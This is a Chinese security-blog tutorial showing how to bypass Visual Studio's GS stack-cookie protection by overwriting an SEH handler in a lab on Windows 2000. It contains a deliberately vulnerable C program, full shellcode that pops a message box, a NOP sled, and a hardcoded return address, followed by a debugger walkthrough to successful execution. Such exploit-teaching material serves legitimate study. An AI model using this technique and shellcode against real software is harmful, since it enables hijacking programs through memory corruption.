freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

攻击异常丨处理突破GS保护
极安御信安全研究院 2022-08-17 23:03:41 153188
所属地 辽宁省

作者:黑蛋

1:简述

针对缓冲区溢出覆盖函数返回地址这一特征,微软在编译程序时使用了一个安全编译选项--GSVisual Studio 2003 (VS 7.0)及以后版本的Visual Studio 中默认启用了这个编译选项。在所有函数调用时,会向栈中压入一个DWORD,他是data段第一个DWORDEBP亦或之后形成的值,处于EBP+4的位置,在所有函数执行完返回时,会有一个检查函数,检测EBP+4的值是否正确,正确则正常返回,反之进入异常处理流程,函数不会正常返回,这个操作叫Security check,如果有缓冲区溢出函数返回值,势必会淹没Security Cookie,在函数返回之前由Security check检查,发现EBP+4的值与原来的不一样,进入异常处理流程,也会导致我们利用栈溢出失败。本篇通过SEH处理函数在GS检查函数之前的特征,通过制造异常,然后淹没SEH处理函数,使SEH异常函数指向我们的shellcode。详细了解GS以及此技术可以参考《0day安全》这本书。

2:实验环境

环境

配置

调试器

OD

编译器

Visual Studio 2005

操作系统

Windows 2000 SP4

项目配置

属性->配置属性->C/C++->优化(禁用)

bulid版本

realse

3:代码

#include
#include
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"
;

char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00";


void test(char * input)
{

char buf[200];
strcpy(buf,input);
strcat(buf,input);
}

void main()
{
test(shellcode);
}

本段代码在主函数中调用test函数,传入字符串,在test中定义一个200字节buf,然后拷贝传入字符串到buf中,在test函数栈中,传入字符串地址应在EBP+8的位置,如果我们传入字符串过长,他可以淹没EBP+8的位置,之后再调用strcat拷贝函数的时候,找传入字符串地址EBP+8的位置的时候会发生异常,进入SEH处理函数。

4:分析函数流程

首先传入正常大小字符串shellcode2,分析函数栈内情况:

image-20220718231035081
生成exe拖入OD

image-20220718231110418
F8
走过第一个call,再执行第二个JMP

image-20220718231226742
找主函数入口(根据经验,是退出函数上面三个push之后的call):

光标放在箭头处,F4运行到此处,F7进入call

此处就是我们主函数,calltest函数,传入的参数是shellcode2的地址,进入test函数,并运行到strcpy函数之后:

观察堆栈情况:

我们发现buf位置在0012FEA0,最近的SEH处理函数在EBP+44的位置,即0012FFB4,我们需要通过延迟传入字符串淹没这个地址,让他指向buf的起始位置0012FEA0,我们需要增加字符串0x54字节,并在最后四字节放入0012FEA0。接下来传入构造好的字符串,并生成exe,再根据之前步骤走到strcpy函数之后:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"
;

前面一段是我们的弹窗shellcode,之后用90填充其余部位,在最后四字节放入buf的首地址,现在观察堆栈情况:


我们发现EBP位置已经被淹没,而SEH处理函数地址已经指向buf的位置,放行程序继续运行,到strcat函数的时候程序会发生异常,调用最近的SEH异常处理函数,这里被我们修改为buf的起始位置,程序运行我们的shellcode,成功弹窗:

成功通过攻击异常处理突破GS,达到我们的目的。

# 渗透测试 # 网络安全 # web安全 # 漏洞分析 # CTF
本文为 极安御信安全研究院 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
极安御信安全研究院 LV.8
QQ交流群:434238324 官网:http://www.vultop.com/
  • 140 文章数
  • 33 关注者
0ctf babyheap
2023-09-07
世界级黑客丨电脑犯罪界的汉尼拔
2023-09-07
新PWN手必备环境(附详细步骤)
2023-08-31
文章目录